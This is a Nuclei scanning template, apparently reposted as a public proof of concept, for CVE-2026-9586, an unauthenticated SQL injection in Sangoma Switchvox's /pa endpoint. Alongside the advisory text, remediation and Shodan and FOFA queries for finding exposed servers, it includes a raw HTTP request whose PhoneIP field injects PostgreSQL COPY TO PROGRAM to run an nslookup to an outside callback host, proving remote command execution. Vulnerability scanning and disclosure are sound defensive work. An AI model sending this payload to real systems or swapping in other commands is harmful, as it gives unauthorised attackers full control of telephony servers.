Sangoma Switchvox before version 8.4.0.2 contains an unauthenticated SQL injection vulnerability in the /pa endpoint (PhoneAppsHandler.pm). The PhoneIP field extracted from an XML POST body is concatenated directly into an unparameterized PostgreSQL query that runs as a database superuser. An attacker can break out of the single-quoted SQL string context and leverage PostgreSQL COPY TO PROGRAM to execute arbitrary operating system commands without authentication.
PoC代码[已公开]
id: CVE-2026-9586
info:
name: Sangoma Switchvox < 8.4.0.2 - Unauthenticated SQL Injection
author: DhiyaneshDk
severity: critical
description: |
Sangoma Switchvox before version 8.4.0.2 contains an unauthenticated SQL injection vulnerability in the /pa endpoint (PhoneAppsHandler.pm). The PhoneIP field extracted from an XML POST body is concatenated directly into an unparameterized PostgreSQL query that runs as a database superuser. An attacker can break out of the single-quoted SQL string context and leverage PostgreSQL COPY TO PROGRAM to execute arbitrary operating system commands without authentication.
impact: |
An unauthenticated remote attacker can achieve full remote code execution on the Switchvox server by injecting SQL via the PhoneIP XML field, leveraging PostgreSQL superuser privileges to execute arbitrary OS commands via COPY TO PROGRAM.
remediation: |
Upgrade Sangoma Switchvox to version 8.4.0.2 or later which parameterizes the SQL query and validates the PhoneIP input.
reference:
- https://horizon3.ai/attack-research/disclosures/cve-2026-9586-sangoma-switchvox-rce/
- https://nvd.nist.gov/vuln/detail/CVE-2026-9586
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-9586
epss-score: 0.11845
epss-percentile: 0.95852
cwe-id: CWE-89
metadata:
verified: true
max-request: 1
shodan-query: http.html:"switchvox"
fofa-query: body="switchvox"
vendor: sangoma
product: switchvox
tags: cve,cve2026,sangoma,switchvox,sqli,rce,oast,vkev,vuln,kev
http:
- raw:
- |
POST /pa HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<request><PhoneIP>10.0.0.1'; COPY (SELECT '') TO PROGRAM 'nslookup {{interactsh-url}}'--</PhoneIP><command>tel_notify</command></request>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "<html><body></body></html>"
# digest: 490a00463044022029e98fc298bbcf66bd72b284993684b9fc602aa12f1e66e8c37ba56ba02062f60220515cef2cc901bb1f8f7fd64190af648d90522b21d82d938ddac67904c04b57e0:922c64590222798bb761d5b6d8e72950